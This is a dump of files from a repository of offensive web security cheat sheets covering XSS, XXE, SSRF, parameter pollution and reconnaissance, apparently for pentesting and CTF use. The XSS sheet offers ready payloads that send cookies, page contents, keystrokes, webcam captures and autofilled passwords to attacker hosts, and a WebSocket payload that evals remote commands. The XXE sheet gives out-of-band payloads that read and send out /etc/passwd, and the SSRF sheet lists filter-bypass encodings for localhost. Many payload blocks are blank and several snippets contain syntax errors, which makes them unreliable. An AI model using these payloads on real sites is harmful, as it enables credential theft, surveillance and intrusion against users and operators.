https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Web/Injection/TemplateInjection/images/template-decision-tree.png -------------------------------------------------------------------------------- /Web/Injection/XSS/XSS.md: -------------------------------------------------------------------------------- 1 | # Cross Site Scripting (XSS) 2 | 3 | Cross Site Scripting or XXS vulnerabilities arise when user controlled data is injected into the DOM in such a way that it is interpreted as JavaScript by the parser resulting in its execution when rendered by the browser. 4 | 5 | ## Types of XSS 6 | 7 | ### Stored XSS 8 | 9 | Stored XSS variants are considered to be the most useful and powerful form of XSS vulnerabilities. This is because when exploited they typically require little to no interaction from a client accessing the affected web application other then them navigating to the injected page. Stored XSS vulnerabilities are refereed to as such because of the way they are stored by the web application backend and re-rendered in the clients browser on every reload of the affected page. 10 | 11 | The easiest way to visualise this is to think of a simple blogging website that allows you to post comments under a users blog. If the comments section is vulnerable to an XSS injection then an attacker may upload a XSS payload as a comment and submit it. Whenever another user visits the page and the comments section is loaded by the browser, which retrieves the comments from the web server, the injected XSS payload will trigger and affect the accessing clients browser. 12 | 13 | Stored XSS vulnerabilities can occur anytime user controlled information is unsafely proceeded and stored on the web application backend for later use in display of the data. This includes unusual places like uploaded file names and images. 14 | 15 | ### Reflected XSS 16 | 17 | Reflected XSS variants are XSS vulnerabilities that are triggered under a certain 'self invoked' context on the affected web application. They are 'reflected' because they only affect the client that triggered this vulnerable state and are only valid/triggered from the lifetime of the browser session on that 'page'. An example would be clicking on a link to a web application page with a XSS payload as a URL parameter for a search bar which triggers when the page loads with that query because the query (search) text is shown on the page. 18 | 19 | ## Identification Payloads 20 | 21 | ### Polyglots 22 | 23 | XSS polyglots are specially crafted javascript like strings made up of various vectors designed to trigger XSS vulnerabilities under different conditions. Often they are a quick way to identify more simplistic XSS vulnerabilities and can be tried 'everywhere' as a first test payload. 24 | 25 | ```javascript 26 | javascript: /*--> 28 | ``` 29 | 30 | ```javascript 31 | jaVasCript: /*-/*`/*\`/*'/*"/*%0D%0A%0d%0a*/ /* */ oNcliCk = alert(); //\x3ciframe/ 42 | ``` 43 | 44 | ```js 45 | 148 | ``` 149 | 150 | ```js 151 | 152 | ``` 153 | 154 | #### Onerror 155 | 156 | ```js 157 | 158 | ``` 159 | 160 | ```js 161 | 162 | ``` 163 | 164 | ```js 165 | 166 | ``` 167 | 168 | #### Onblur 169 | 170 | ```js 171 | 172 | ``` 173 | 174 | ```js 175 | 176 | ``` 177 | 178 | #### OnKeyDown 179 | 180 | ```js 181 | 182 | ``` 183 | 184 | #### Onfocus 185 | 186 | ```js 187 | 188 | ``` 189 | 190 | ### Encoded Payloads 191 | 192 | - alert encode 193 | 194 | ``` 195 | 196 | ``` 197 | 198 | - HTML Decimal Character References 199 | 200 | ``` 201 | 202 | ``` 203 | 204 | ``` 205 | 206 | ``` 207 | 208 | - HTML Hexadecimal Character References 209 | 210 | ``` 211 | 212 | ``` 213 | 214 | ### JSONP Payloads 215 | 216 | - JSONP callbacks can be weaponised in certain circumstances to get XSS 217 | - JSONP based XSS vectors also have a high chance of negating CSP protections making them an exceptionally useful vulnerability 218 | - _Note: the following payloads are designed to be injected into any part of a web application which uses a JSONP endpoint, they can also be injected into the callback of a legitimate JSONP query_ 219 | - For example: `domain.com/page?query=PAYLOAD` 220 | 221 | #### Basic JSONP Payloads 222 | 223 | ```js 224 | 225 | ``` 226 | 227 | ### Image/File Upload Based Payloads 228 | 229 | #### File Name Injection 230 | 231 | - Upload a file like 232 | 233 | ```javascript 234 | "">.gif 235 | ``` 236 | 237 | #### SVG 238 | 239 | ```javascript 240 | 241 | 242 | 243 | ``` 244 | 245 | #### CSV 246 | 247 | ```javascript 248 | ” 249 | ``` 250 | 251 | #### File Metadata 252 | 253 | _These can be embeded with exiftool and hence an example command for doing so is included._ 254 | 255 | ```javascript 256 | “>’ payload_file.jpeg 257 | ``` 258 | 259 | **Usage** 260 | 261 | `exiftool -Artist='PAYLOAD'` 262 | 263 | #### GIF 264 | 265 | `GIF89a/**/=alert(1)//;` 266 | 267 | ### mXSS 268 | 269 | ```javascript 270 | 271 | ``` 272 | 273 | ## Exploit Payloads 274 | 275 | The following payloads can be used to turn a discovered XSS vulnerability into a more robust proof of concept or in the case of CTF like challenges extract desired data/information/cookies from a vulnerable web application. 276 | 277 | ### Phishing Redirect 278 | 279 | The following XSS payloads can be used to force a client to navigate to another page such as a fake cloned site controlled by the attacker or some other arbitrary place on the internet. Typically such behaviour is best combined with a stored XSS vector. 280 | 281 | ```javascript 282 | window.location = 'https://attackerphishingsite.com'; 283 | ``` 284 | 285 | ```javascript 286 | window['location'] = 'https://attackerphishingsite.com'; 287 | ``` 288 | 289 | ```javascript 290 | document.location = 'https://attackerphishingsite.com'; 291 | ``` 292 | 293 | ### Exfiltrate Auth Tokens/Cookies 294 | 295 | _For use with an [exfiltration/attack server](#exfiltration-servers)_ 296 | 297 | Often a useful target for XSS exploits, in CTFs, are the authentication/session cookies of another user on the affected site particularly in the case of a stored XSS vulnerability. However with the advent of `secure` attributes on cookies which prevent JavaScript from being able to access cookies with `document` commands like `document.cookie` the goal of a XSS exploit has evolved. However the bellow are several payload variations that can be used when the `secure` attribute is not set of cookies to exfiltrate them out of band to a controlled web server endpoint. 298 | 299 | ```javascript 300 | fetch('attack.domain.com?cookie=${encodeURIComponent(document.cookie)}'); 301 | ``` 302 | 303 | ```javascript 304 | window.location = 'http://attack.svr?stolen_token=' + document.cookie; 305 | ``` 306 | 307 | ```javascript 308 | window['location'] = 'http://attack.svr?stolen_token=' + document['cookie']; 309 | ``` 310 | 311 | ```javascript 312 | document.location = "http://attack.svr?stolen_token=" + document.cookie"; 313 | ``` 314 | 315 | ```javascript 316 | document['location'] = 'http://attack.svr?stolen_token=' + document['cookie']; 317 | ``` 318 | 319 | ```javascript 320 | let req = new XMLHttpRequest(); 321 | res.open('GET', 'http://attack.svr?stolen_token=' + document.cookie); 322 | req.send(); 323 | ``` 324 | 325 | ```javascript 326 | document.write(); 327 | ``` 328 | 329 | ### Grab Protected Pages 330 | 331 | The following payloads aim to grab page data from the perspective of another target client such as an admin or privileged user whose session information may allow them to view pages the attacker does not have access to or to view page elements which are not shown to the attacker ordinarily. 332 | 333 | ```javascript 334 | fetch('/protected_page') 335 | .then((page) => page.text()) 336 | .then((text) => { 337 | fetch('attack.domain.com', { 338 | method: 'POST', 339 | headers: { 'Content-Type': 'application/json' }, 340 | body: JSON.stringify({ page: text }), 341 | }); 342 | }); 343 | ``` 344 | 345 | ```javascript 346 | javascript:fetch("https://victim.com/page").then(a => {a.text().then(b)=>fetch("http://example.com/?data="+btoa(b))})}) 347 | ``` 348 | 349 | ### Grab Specific DOM Elements 350 | 351 | These payloads can be used to extract data from specific DOM elements and return their information to an attackers web server out of band. 352 | 353 | ```javascript 354 | fetch( 355 | 'attacker.domain.com?data=' + 356 | encodeURIComponent( 357 | document.querySelector('.hmtlClassElementToSteal').textContent 358 | ) 359 | ); 360 | ``` 361 | 362 | ```javascript 363 | fetch( 364 | 'attacker.domain.com?data=' + 365 | encodeURIComponent( 366 | document.querySelector('.hmtlClassElementToSteal').textValue 367 | ) 368 | ); 369 | ``` 370 | 371 | ### Grab Screenshots 372 | 373 | This payload extracts a screenshot of the affected clients browser context at the time when the payload is triggered and exfiltrates it to the attackers web server. 374 | 375 | ```javascript 376 | 386 | ``` 387 | 388 | ### Forced Download 389 | 390 | These payloads take advantage of an XSS vulnerability to trigger a forced download of an attacker controlled file in the affected clients browser. This may be useful when attempting to get malware onto a targets system or to socially engineer the client. 391 | 392 | ```javascript 393 | frame = document.createElement('iframe'); 394 | frame.src = 'attack.domain.com/payloadDocument.docx'; 395 | document.body.appendChild(frame); 396 | ``` 397 | 398 | ```javascript 399 | 408 | Social Engineering TXT here 409 | 410 | ``` 411 | 412 | ### Capture Data From Webcam 413 | 414 | This payload is design to exploit a XSS vulnerability to capture data from an affected clients webcam. 415 | 416 | ```js 417 | vid_element = document.createElement('video') 418 | navigator.mediaDevices.getUserMedia({video:true}) 419 | .then(stream => { 420 | vid_element.srcObject = stream 421 | vid_element.play() 422 | setTimeout(()) => { 423 | canvas = document.createElement('canvas') 424 | canvas.width = vid_element.videoWidth 425 | canvas.height = vid_element.videoHeight 426 | canvas.getContext('2d').drawImage(vid_element,0,0) 427 | 428 | fetch('attack.domain.com', { 429 | method: 'POST', 430 | headers: { 'Content-Type': 'application/json' }, 431 | body: JSON.stringify({img: canvas.toDataURL()}) 432 | }) 433 | }, 2000) 434 | }); 435 | ``` 436 | 437 | ### Reverse Shell 438 | 439 | This payload is designed to bind a web socket to an affected host allowing the attacker the potential to send commands to the target client. 440 | 441 | ```js 442 | sock = new WebSocket('wss://attack.domain.com'); 443 | sock.onmessage = (event) => eval(e.data); 444 | ``` 445 | 446 | ### Run Keylogger 447 | 448 | This payload attempts to steal an affected clients keystrokes and exfiltrate them to the attackers server. 449 | 450 | ```js 451 | document.addEventListener('change', element => { 452 | if(!element.target.matches('input, textarea')) return 453 | fetch('attack.domain.com', { 454 | method: 'POST', 455 | headers: { 'Content-Type:' 'application/json' }, 456 | body: JSON.stringify({key: element.target.value}) 457 | }) 458 | }); 459 | ``` 460 | 461 | ### Steal Saved Browser Credentials 462 | 463 | This payload attempts to exploit the behaviour of saved browser credentials by creating a form to autofill on the fly with an XSS vector and harvesting the filled credentials to be sent over the network to the attackers server. 464 | 465 | ```js 466 | form = document.createElement('form'); 467 | usr_name = document.createElement('input'); 468 | usr_name.setAttribute('type', 'text'); 469 | usr_name.setAttribute('name', 'username'); 470 | 471 | password = document.createElement('input'); 472 | password.setAttribute('type', 'password'); 473 | password.setAttribute('name', 'password'); 474 | 475 | form.appendChild(usr_name); 476 | form.appendChild(password); 477 | document.body.appendChild(form); 478 | document.addEventlistener('click', () => 479 | fetch(`attack.domain.com?usr=${usr_name.value}pass=${password.value}`) 480 | ); 481 | ``` 482 | 483 | ## Exfiltration Servers 484 | 485 | This section aims to document several approaches to setting up an attack server for XSS exfiltration 486 | 487 | - [AWS EC2 Instance](https://us-east-2.console.aws.amazon.com/ec2/) 488 | - [Pipedream.com](https://pipedream.com) 489 | - [Ngrok](https://ngrok.com/) 490 | - [Digital Ocean Droplets](https://cloud.digitalocean.com/droplets) 491 | 492 | ## Debugging Payloads & Pitfalls 493 | 494 | If your payload doesn't work after finding a injection point vulnerable to a basic test these are some common reasons payloads fail 495 | 496 | #### Browser/Web Application Encoding 497 | 498 | - More built out payloads which contain urls and additional JS code generally contain a number of characters which browsers and 499 | parts of web applications interpret as delimiters or other characters 500 | - A common example of this is when injecting payloads into felids on a web app or the address bar which contain the `+` character commonly used to concatenate strings in JS, 501 | the `+` character in many cases will be 'transformed' into a `space` character consequently breaking the JS syntax and your payload 502 | 503 | ##### Common 'Bad/interpreted Characters' 504 | 505 | ``` 506 | | Interpreted Character | URL Encoding (Patch) | 507 | |-----------------------|----------------------| 508 | | + | %2B | 509 | | / | %2F | 510 | | ' | %27 | 511 | | " | %22 | 512 | | space | %20 | 513 | | # | %23 | 514 | ``` 515 | 516 | **Checking Character Encoding** 517 | 518 | - In Burpsuite use the decoder tab 519 | - Python3 `$ python3 >> hex(ord("char"))` 520 | - To check `"` use `\"` 521 | 522 | #### Exploit Works Locally (My browser) but Not On Other Users 523 | 524 | - Sometimes XSS payloads which work from the injected browsers perspective do not trigger when sent to a victim 525 | - This can occur due to browser type 526 | - Chrome 527 | - Safari 528 | - Edge 529 | - Firefox 530 | - Browser version 531 | - Browser plugins 532 | 533 | ###### Workarounds 534 | 535 | - Test payloads on other browsers 536 | - **Try alternative JS syntax** 537 | - Try alternative HTML tags/attributes 538 | - Check W3C and other online resources to see what browsers support elements of your payload 539 | 540 | ### General Tips 541 | 542 | - Inject payloads through burp where possible to observe if they are encoded correctly 543 | - Check the dev console after injecting a payload 544 | - Look for CSP blocks 545 | - Syntax errors 546 | - Check the DOMs interpretation of the payload with inspect/view source 547 | 548 | ### Unsorted Workarounds 549 | 550 | - Try double URL encoding bad characters 551 | - Base 64 encode long strings and then use the JS `atob(string)` in the payload body to decode the string back to plain text 552 | - Add or remove `;//` after url strings 553 | 554 | ## Finding and Exploiting XSS 555 | 556 | #### DOM Based XSS 557 | 558 | - [ ] Do forms/fields on the web app return user entered data on the page? 559 | - [ ] How does the form/field handle control characters? Does the application error? 560 | - [ ] Are control characters encoded, escaped, filtered, blocked or rendered? 561 | - [ ] Does any kind of filter evasion yield variations? 562 | 563 | #### Reflected XSS 564 | 565 | - [ ] Are felids/forms processed by the web application before the response is supplied to the client/frontend? 566 | - [ ] Is the form validated on the front end? 567 | - [ ] Can form validation be bypassed? 568 | - [ ] How does the server respond to control characters supplied to the felid/form? 569 | - [ ] Are control characters encoded, escaped, filtered, blocked or rendered in the return data? 570 | - [ ] Does any kind of filter evasion yield variations? 571 | 572 | #### Stored XSS 573 | 574 | - [ ] Does user/client controlled field/form data get stored by the server for use in rendering content on the web application? 575 | - [ ] Is the form validated on the front end? 576 | - [ ] Can form validation be bypassed? 577 | - [ ] How does the server respond to control characters supplied to the felid/form? 578 | - [ ] How does the frontend render client data injected with control characters, are they stripped, malformed, encoded or rendered? 579 | - [ ] Does any kind of filter evasion yield variations? 580 | 581 | ## Resources 582 | 583 | - [Portswigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#client-side-template-injection) 584 | - [OSWAP Cheat-sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) 585 | - [GBHackers Top 500 XSS Cheat sheet](https://gbhackers.com/top-500-important-xss-cheat-sheet/) 586 | - [Chef Secure](https://www.youtube.com/channel/UCqx-vnWwxXQEJ0TC5a6vuNw) 587 | -------------------------------------------------------------------------------- /Web/Injection/XXE/XXE.md: -------------------------------------------------------------------------------- 1 | External XML Entities (XXE) 2 | ===================== 3 | 4 | External XML Entity (XXE) injection the process of inserting malicious `xml` tags into fields which either intentionally accept XML or unknowingly allow XML to be parsed on the backend. XXE exploits target the parser which runs server side in order to include resources from the host such as important files. Since the XXE injection often occurs through file uploads the parsed document usually cannot be resolved on the frontend, hence XXE injection is typically performed out of band with a listening server to capture the response from a successful payload. 5 | 6 | 7 | ## XML 8 | 9 | Extensible Markup Language is a way of structuring data similar to JSON which has overtaken XML in popularity and largely replaced it in general. 10 | 11 | #### XML Structure and Syntax 12 | 13 | ```xml 14 | 15 | 16 | John Smith 17 | 20 18 | 19 | 20 | ``` 21 | 22 | + Tags are case sensitive 23 | + "",'',<,> are illegal characters in XML due to the parser not knowing how to handel them 24 | 25 | ### Entities and The DTD 26 | 27 | Entities operate like variables within the XML document where, once defined, they can be used anywhere throughout the document. XML entities live within a specific part of the XML document known as the DTD. 28 | 29 | 30 | #### Document Type Definition (DTD) 31 | 32 | ```xml 33 | 34 | 36 | ]> 37 | 38 | &name; 39 | 20 40 | 41 | ``` 42 | 43 | ##### General Entities 44 | 45 | ```xml 46 | 47 | 48 | &generalEntity; 49 | ``` 50 | 51 | ##### Parameter Entities 52 | 53 | ```xml 54 | "> 55 | 56 | ``` 57 | 58 | + Only allowed inside the DTD 59 | + More flexiable and can allow the creation of an entity which contains another entity 60 | 61 | ##### Predefined 62 | 63 | ```xml 64 | < 65 | ``` 66 | 67 | + Collections of special characters that might break the document normally 68 | 69 | ## XXE Types 70 | 71 | ### Inband 72 | 73 | + XML document is parsed 74 | + The XML parser reads the document 75 | + The output of the parser is rendered/output in a response 76 | 77 | ### Error Based 78 | 79 | + No output 80 | + A kind of blind XXE injection 81 | 82 | ### Out of Band (OOB) 83 | 84 | + Entirely blind 85 | + No output 86 | + This requires an attack/observation server 87 | + The server receives requests made from an entity in the injected payload 88 | + If the request comes back then the origin site is vulnerable to OOB XXE 89 | + This also leads to SSRF (Server Side Request Forgery) 90 | 91 | 92 | ## Attacks && Payloads 93 | 94 | ### Read System Files 95 | 96 | ```xml 97 | 98 | 100 | ]> 101 | &payloadEntity; 102 | ``` 103 | + Here the SYSTEM keyword retrieves arbitrary resources from a URI `/etc/passwd` to insert into the XML document 104 | + In this way we can achieve arbitrary read 105 | 106 | #### Include Entities Remotely 107 | 108 | ```xml 109 | 110 | 112 | ]> 113 | &payloadEntity; 114 | ``` 115 | 116 | ### External DTD Payloads 117 | 118 | + Because DTDs can be passed as a URI in a `SYSTEM` call they can be loaded externally by the XML parser 119 | 120 | ```xml 121 | 122 | "> 124 | %parameter_entity% 125 | ]> 126 | 127 | &secondary_entity; 128 | ``` 129 | 130 | ### Blind XXE Payloads Using External DTDs 131 | 132 | #### External DTD (external_payload.dtd) 133 | 134 | ```xml 135 | 136 | "> 137 | %wrapper; 138 | ``` 139 | 140 | + This will cause the parser to read the contents of `passwd` and store it in the grabPasswd parameter entity 141 | + This allows the usage of the parameter `grabPasswd` within the DTD 142 | + Another parameter entity `wrapper` is then created which points to the general entity `send` 143 | + When the document is parsed the wrapper entity will spawn the `send` entity as a general entity legally via the external DTD 144 | + This will then send the contents of `grabPasswd` to the attack server 145 | 146 | #### XXE Payload 147 | 148 | ```xml 149 | 150 | 151 | &send; 152 | ``` 153 | 154 | ### Filter Evasion 155 | 156 | #### External DTD 157 | 158 | ```xml 159 | 160 | 161 | 162 | "> 163 | ``` 164 | 165 | #### Main XML 166 | 167 | ```xml 168 | 169 | 170 | 172 | 173 | %a; 174 | %combined; 175 | ]> 176 | &pwnFunc; 177 | ``` 178 | + This will attempt to bypass filters for keywords such as `file` and `passwd` 179 | + Extra layers can be added until the filter stops detecting trigger words 180 | 181 | ### Exfiltration && Pitfalls 182 | 183 | + Since some system files that an attacker may attempt to exfiltrate contain xml syntactic characters like `<,>` a work around must be implemented in order to read these files 184 | 185 | 186 | #### CDATA 187 | 188 | + The character data syntax, ` ]]` is a way of telling the XML parser to ignore syntactic characters that may arise within this tag 189 | + Consider its usage in a external DTD payload bellow 190 | 191 | ```xml 192 | 193 | 194 | "> 195 | "> 196 | %wrapper; 197 | ``` 198 | 199 | + This leads to the creation of a wrapper with the three parameters desired 200 | -------------------------------------------------------------------------------- /Web/ParameterPollution/ParameterPollution.md: -------------------------------------------------------------------------------- 1 | # HTTP Parameter Pollution (HPP) 2 | 3 | ## Overview 4 | 5 | + Involves sending repeated parameters in URLs with different values 6 | + For example `https://www.domain.com/posts.php?u=http://facebook.com/81738hha&title=foo&u=attacker.domain.com` 7 | + Depending on the backend architecture different things will occur in relation to the repeated parameter 8 | + In some cases the first instance of the parameter will be excepted 9 | + In others the last instance of the parameter 10 | + In further casesthe parameters may be concatenated together 11 | 12 | ![URL Handling PHP](./images/url_handling.png) 13 | 14 | ## Identification 15 | 16 | + Look for URL parameters which are not encoded 17 | + Attempt to determine what backend infrastructure is running 18 | + Look at file types used for pages 19 | + I.E PHP which will typically use the last instance of the parameter 20 | 21 | ![Polutable URL Diagram](./images/pollutable_url.png) 22 | 23 | 24 | ## Resources 25 | 26 | + [PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0) -------------------------------------------------------------------------------- /Web/ParameterPollution/images/pollutable_url.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Web/ParameterPollution/images/pollutable_url.png -------------------------------------------------------------------------------- /Web/ParameterPollution/images/url_handling.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Angus-C-git/SecSheets/caf14c100f86e99cad862998cf9573c103f811d8/Web/ParameterPollution/images/url_handling.png -------------------------------------------------------------------------------- /Web/README.md: -------------------------------------------------------------------------------- 1 | # Web Sheets 2 | 3 | ## Recon 4 | 5 | ### ‣ [Passive Recon](./Recon/Recon.md#passive-recon) 6 | 7 | ### ‣ [Active Recon](./Recon/Recon.md#active-recon) 8 | 9 | ## Injection 10 | 11 | ### ‣ [SQLi](./Injection/SQLI/SQLI.md) 12 | 13 | ### ‣ [XSS](./Injection/XSS/XSS.md) 14 | 15 | ### ‣ [XXE](./Injection/XXE/XXE.md) 16 | 17 | ### ‣ [SSTI](./Injection/TemplateInjection/Server-SideTemplateInjection.md) 18 | 19 | ### ‣ [OS command Injection](./Injection/CommandInjection/CommandInjection.md) 20 | 21 | ## Server Side Vulnerabilities 22 | 23 | ### ‣ [SSRF](./SSRF/SSRF.md) 24 | 25 | ### ‣ [HTTP Parameter Pollution](./ParameterPollution/ParameterPollution.md) 26 | 27 | ## File Inclusion 28 | 29 | ### ‣ [LFI](./FileInclusion/LFI/LFI.md) 30 | 31 | ### ‣ [RFI](./FileInclusion/RFI/RFI.md) 32 | 33 | ### ‣ [Directory Traversal](./DirectoryTraversal/DirectoryTraversal.md) 34 | 35 | ## Broken Access Control 36 | 37 | ### ‣ [IDOR](./BrokenAccessControl/IDOR.md) -------------------------------------------------------------------------------- /Web/Recon/Recon.md: -------------------------------------------------------------------------------- 1 | Web Application: Enumeration/Recon 2 | ============================ 3 | 4 | Recon and enumeration is about getting a bigger picture of a target. Recon and enumeration are critical prerequisites to getting a successful exploit. Knowing the technologies the target employees allows an attacker to eliminate false positives, more accurately test for vulnerabilities and saves time in the long run. 5 | 6 | ## Passive Recon 7 | 8 | ### Target Validation/Identification 9 | 10 | #### WHOIS 11 | 12 | + Grab whois record for target 13 | 14 | `whois domain.com` 15 | 16 | #### nslookup 17 | 18 | + Translate domain names into IP addresses 19 | 20 | `nslookup domain.com` 21 | 22 | #### dnsrecon 23 | 24 | + DNS record enumeration, subdomain enumeration 25 | 26 | `dnsrecon -d domain.com` 27 | 28 | ### Subdomain Enumeration 29 | 30 | #### dig 31 | 32 | + DNS walk, DNS records 33 | 34 | `dig domain.com any` 35 | 36 | #### Nmap 37 | 38 | ##### Basic Scan 39 | 40 | `nmap domain.com` 41 | 42 | ##### Server Finger Printing 43 | 44 | `nmap -p 80,443 -A t4 (target_ip)` 45 | 46 | #### Sublist3r 47 | 48 | + Subdomain discovery, Subdomain bruteforce, OSINT discovery 49 | 50 | `python sublist3r.py -d domain.com` 51 | 52 | #### Bluto 53 | 54 | + Domain enumeration, api enumeration 55 | 56 | `bluto -d domain.com` 57 | 58 | #### [crt.sh](https://crt.sh/) 59 | 60 | + Certificate search 61 | 62 | 63 | ### Fingerprinting 64 | 65 | + Nmap 66 | + Wappalyzer {Browser Extension} 67 | + BuiltWith {Browser Extension} 68 | + Netcat 69 | 70 | ### Data Breaches 71 | 72 | + Does target related material appear in data breaches 73 | + [haveibeenpawned](https://haveibeenpwned.com/) 74 | + [weleakinfo](http://weleakinfo.com/) ~ Seized by Feds 75 | + [hunter.io](https://hunter.io/) 76 | 77 | ### Maintaining Scope 78 | 79 | #### URL Regex For Burp 80 | 81 | In Scope: 82 | 83 | `.*\.domain\.com$` 84 | 85 | Exclusion: 86 | 87 | + Remove from scope option in burp settings 88 | 89 | ## Active Recon 90 | 91 | ### Spidering/Crawling 92 | 93 | #### Burp Suite 94 | 95 | + Domain -> Scan -> Crawl 96 | 97 | #### Zap Proxy 98 | 99 | + Quickstart -> Domain -> Attack 100 | 101 | #### Manual Spidering/Crawling 102 | 103 | + Move through the website as a developer 104 | + How can you break it? 105 | 106 | ### Basic Vulnerability Scanning 107 | 108 | #### Nikto Vuln Scanner 109 | 110 | + On real world targets will rarely find anything 111 | 112 | `nikto -h https://www.domain.com` 113 | 114 | ### SSL/TLS Verification/Validation 115 | 116 | ~ Note: Very rare 117 | 118 | + Check the integrity of SSL/TLS ciphers 119 | 120 | #### Nmap Script 121 | 122 | `nmap -p 443 --script=ssl-enum-ciphers (target_ip)` 123 | 124 | ### Directory Discovery 125 | 126 | #### Dirbuster 127 | 128 | `dirb domain wordlist` 129 | 130 | 131 | #### Manual Discovery 132 | 133 | + Common dirs 134 | + Target specific directories, guess possible strings 135 | 136 | #### Source Inclusion/Console Data 137 | 138 | + Developer data 139 | + Source comments 140 | + Console.logs 141 | + JavaScript function exposure 142 | + Removed functionality 143 | 144 | #### DRY && Wet Principles 145 | 146 | + Broken form validation 147 | + Broken front end checks 148 | 149 | #### UI Bypasses 150 | 151 | + Editing front-end DOM elements to bypass UI barriers 152 | + `pattern={1-9}` -> delete 153 | + `type="email"` -> `type="text"` 154 | + Forging/editing requests 155 | 156 | -------------------------------------------------------------------------------- /Web/SSRF/SSRF.md: -------------------------------------------------------------------------------- 1 | # Server Side Request Forgery (SSRF) 2 | 3 | Server Side Request Forgery (SSRF) is a exploit class which attacks the underlying host and surrounding internal infrastructure of a web application. When exploited it may give an attacker the ability to make requests as if they were come from one of the internal services, which may additionally allow the attacker to view/modify critical and protected data as well as move laterally through the internal network. 4 | 5 | ### Anatomy Of A Web Application 6 | 7 | ![SSRF_Diagram](https://user-images.githubusercontent.com/44337835/135016171-10c7b893-3bdb-4103-a4c6-4b6247b91ef4.png) 8 | 9 | 10 | ### SSRF Conceptually 11 | 12 | + A SSRF exploit abuses the nature of web application systems, like most systems, to be hardened to external traffic but relatively unprotected internally 13 | + Exploiting a SSRF vulnerability allows an attacker to leverage the trusted nature of the internally facing web application against itself in order to retrieve and access resources on their behalf, which ordinarily they could not reach without privileged authentication or internal network access 14 | + Additionally it may be possible to utilise the web application to move laterally through the internal network to other infrastructure resulting in potential RCE 15 | 16 | ### Sources Of SSRF Vulnerabilities 17 | 18 | + SSRF vulnerabilities typically arise when web applications allow users to include URL or URI based content as part of a function of the application 19 | + At a less abstract level SSRF vulnerabilities can arise when: 20 | + Blacklists and whitelists are used to protect against SSRF 21 | + The web application has a open redirect vulnerability 22 | + The web application has a XXE vulnerability 23 | 24 | ## Tooling 25 | 26 | + [SSRFmap](https://github.com/swisskyrepo/SSRFmap) 27 | 28 | ## SSRF Vectors 29 | 30 | ### SSRF Against the Host 31 | 32 | + Ultimately all web applications run on some kind of hardware at their core 33 | + From here layers of software build up to the web application that users interact with 34 | + However those lower layers do not always drop away from the user access level meaning that software running at a lower level can still be interacted with through the web application 35 | + It is this residual or unintended exposure of vestigial software layers which lead to host based SSRF vulnerabilities 36 | 37 | #### Layers of a modern Web Application 38 | 39 | ![WebApp_Host_Diagram](https://user-images.githubusercontent.com/44337835/135016176-c668ca7b-afe3-4970-ba26-d4ba61044983.png) 40 | 41 | #### Approach 42 | 43 | + To perform this kind of SSRF attack and attacker attempts to have the host fetch resources on their behalf exploiting the fact that the host is inherently trusted as a 'privileged actor' 44 | + For example if an attacker where to attempt to access a admin page through the front end web application in a standard fashion without authenticating the web application returns an admin login panel 45 | + However if an attacker can induce the web applications host itself to access the admin page the attacker will be presented with the admin dashboard 46 | 47 | #### Finding Host Based SSRF Vectors 48 | 49 | + Whenever a web application makes a request to itself using a full URL path it may be possible to replay a modified version of the request to get an SSRF exploit 50 | 51 | ``` 52 | POST /product/stock HTTP/1.0 53 | Content-Type: application/x-www-form-urlencoded 54 | Content-Length: 118 55 | 56 | stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 57 | ``` 58 | ~Request From Portswigger Lab~ 59 | 60 | + Attacker replaces the `stockApi` parameter in the request body with `localhost` to access the admin page via the hosts perspective 61 | 62 | ``` 63 | POST /product/stock HTTP/1.0 64 | Content-Type: application/x-www-form-urlencoded 65 | Content-Length: 118 66 | 67 | stockApi=http://localhost/admin 68 | ``` 69 | 70 | + Additionally, host based SSRF may be found anywhere fully qualified URLs are used to access or include resources 71 | + Profile images via URLs 72 | + Embedded content via URLs 73 | 74 | #### General Payloads 75 | 76 | `http://localhost/resource_from_host_perspective` 77 | 78 | `http://127.0.0.1/resource_from_host_perspective` 79 | 80 | `http://127.1/resource_from_host_perspective` 81 | 82 | ### SSRF Against Internal Systems 83 | 84 | + SSRF attacks against other hosts on the internal network exploit the trusted relationship between systems in a private network 85 | + In a SSRF against other internal systems an attacker attempts to access another host on the internal network as the web servers host machine 86 | 87 | #### Approach 88 | 89 | + An attacker attempts to learn the internal network topology of a web applications backend 90 | + This may be done through a vulnerability chain which allows for internal network scanning like a XSS vulnerability or command injection 91 | + Or via enumerating the subnet range of the internal network 92 | + If an attacker receives a response on a particular IP they have likely discovered a internal host at that location 93 | 94 | #### Finding Internal Systems SSRF 95 | 96 | + Similarly to host based SSRF an attacker looks for places within the web application where fully qualified urls are used to access and fetch resources 97 | + An attacker then replaces these requests with the private IP address of a known, guessed or enumerated host on the internal network 98 | + Since the internal host may not return a response that the web server understands in a way that allows it to display a meaningful response this kind of SSRF may be blind 99 | 100 | ## SSRF WAF && Filter Bypasses 101 | 102 | + If the web application attempts to prevent SSRF vectors via filtering or WAF rules it may be possible to circumvent these defenses using one or a combination of the work around bellow 103 | 104 | ### Blacklists 105 | 106 | + Where the web application runs requests against a list of ban strings or regex patterns 107 | + `localhost` 108 | + `127.` 109 | + `::` 110 | 111 | #### DNS Resolution to localhost 112 | 113 | `http://localtest.me/` 114 | 115 | #### Decimal 116 | 117 | `http://21307064433/` 118 | 119 | #### Hexadecimal 120 | 121 | `http://0x7f000001/` 122 | 123 | #### Octal 124 | 125 | `http://0177.0.0.01/` 126 | 127 | #### All IPs 128 | 129 | `http://0.0.0.0/` 130 | 131 | #### IPv6 132 | 133 | `http://0:0:0:0:0:0:0:1` 134 | 135 | ### Whitelists 136 | 137 | + Where the web application only allows URLs which match a list of strings or regex patterns 138 | + `https://the.domain.com` 139 | + `https://125.63` 140 | 141 | #### @ Bypass 142 | 143 | `https://expected-host@localhost/` 144 | 145 | #### URL Fragment 146 | 147 | `https://localhost#expected-host` 148 | 149 | ### Open Redirects 150 | 151 | + If the web application contains an open redirect vulnerability it maybe be possible to leverage it to develop a SSRF exploit 152 | + An sufficient open redirect vulnerability would mean that even if the application is hardened against SSRF based vectors they can be negated by abusing the trust of the API 'host' that handles redirection 153 | 154 | #### Approach 155 | 156 | 157 | + Consider a web application like an online shop which allows a user to cycle through products using a fully qualified URL to 